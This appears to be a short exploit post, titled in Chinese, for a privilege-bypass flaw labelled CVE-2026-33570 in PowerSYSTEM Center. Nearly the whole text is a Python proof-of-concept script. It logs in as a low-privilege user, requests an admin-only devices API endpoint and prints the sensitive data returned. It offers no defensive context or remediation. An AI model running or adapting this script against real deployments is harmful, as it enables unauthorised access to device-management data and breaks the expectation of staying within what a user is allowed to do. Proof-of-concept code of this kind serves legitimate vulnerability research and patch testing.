CVE-2026-33570 PowerSYSTEM Center权限绕过漏洞

import requests # Target configuration target_host = "https://target-ip" api_endpoint = "/api/v1/devices" # Vulnerable endpoint # Low privilege credentials creds = { "username": "low_user", "password": "user_password" } def exploit(): session = requests.Session() # Step 1: Authenticate print("[+] Authenticating as low privilege user...") login = session.post(f"{target_host}/api/login", json=creds) if login.status_code != 200: print("[-] Login failed") return print("[+] Login successful. Token obtained.") # Step 2: Access restricted endpoint # Normally this requires admin privileges print(f"[+] Sending request to {api_endpoint}...") response = session.get(f"{target_host}{api_endpoint}") if response.status_code == 200: print("[+] Success! Sensitive data retrieved:") print(response.text) else: print("[-] Exploit failed or endpoint patched.") if __name__ == "__main__": exploit()